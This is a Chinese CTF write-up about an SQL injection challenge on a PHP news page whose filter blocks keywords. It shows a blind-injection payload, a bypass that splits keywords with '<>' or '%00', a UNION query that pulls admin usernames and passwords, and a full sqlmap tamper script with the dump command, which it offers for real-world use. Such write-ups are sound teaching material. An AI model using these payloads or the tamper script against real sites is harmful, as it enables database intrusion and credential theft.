从一道SQLi CTF题到sqlmap tamper的简单编写

0x01 题目分析

题目指明了SQL注入,通过简单尝试,会检测常见关键字,比如单引号、or、and、union、select等:

从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写

首先想到了通过数字盲注来注入,也成功了但是很可惜的是,information_schema和table都被检测到了,所以无法探测数据库结构……

id=2-(case+when+ascii(substr(database(),%d,1))=%d+then+1+else+2+end)

上面盲注的poc可以获取数据库user等,因为flag位置无法知道,所以直接爆破数据表字段方法就不可行了,还是得找到如何绕过检测关键字的方法。

后来跟几个朋友交流了一下,得到的结果是这些关键字检测直接通过在它中间加"<>"或"%00"就可以绕过其检测,从而这个注入就简单多了,可以直接联合查询结合元数据表就可以很快探测到数据表信息了。

# 绕过思路
or => o<>r
or => o%00r
UNION => UNIO<>N
UNION => UNI%00ON
SELECT
FROM
MIN
LIMIT
TABLE
SLEEP
……

GET FLAG:

news.php?id=-1+UNI<>ON+SELE<>CT+1,username,passwo<>rd,4+FR<>OM+adm<>in+LIM<>IT+1,1#
从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写

0x02 编写tamper使用sqlmap注入

CTF中遇到此类问题,手注完全应对的过来。但是实战中遇到类似的情况时,手工注入毕竟有限,所以编写tamper来使用SQLMAP注入就很有必要性了。

tamper规则需求:

1.替换被检测到的关键字为"<xyz><><xyz>"
2.注入字符中存在关键字的情况下,替换关键字,比如information_schema会被检测到存在or而无法注入

编写过程中主要实现这两点即可,最终代码如下:

#!/usr/bin/env python
#coding=utf-8

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
用于绕过关键字检测的tamper

"""

import random
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations

    Notes:
        * Useful to bypass very weak custom filters

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT 2--')
    '1 UNI<>ON SEL<>ECT 2--'
    """

    keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM","TABLE","AND","SLEEP","TABLES","FROM","LIMIT")
    retVal = payload

    warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
    warnMsg += "You can set it manually according to your needs"
    singleTimeWarnMessage(warnMsg)

    if payload:
        retVal = re.sub(r"(OR)", "O<>R", retVal)
        retVal = re.sub(r"(ADMIN)", "ADMI<>N", retVal)
        for keyword in keywords:
            _ = random.randint(1, len(keyword) - 1)
            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], '<>', keyword[_:]), retVal)

    return retVal

注入结果:

从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写

需要注意的是,sqlmap tamper貌似不会处理传入参数,比如表名、库名、字段名等,这里需要自己写好:

sqlmap -u "http://********/stage/3/news.php?id=1" --tamper=/usr/local/Cellar/sqlmap/1.1.3/libexec/tamper/anglereplacement.py --dump -C "username,passwo<>rd" -T "admi<>n" -D "ctf001"
从一道SQLi CTF题到sqlmap tamper的简单编写
从一道SQLi CTF题到sqlmap tamper的简单编写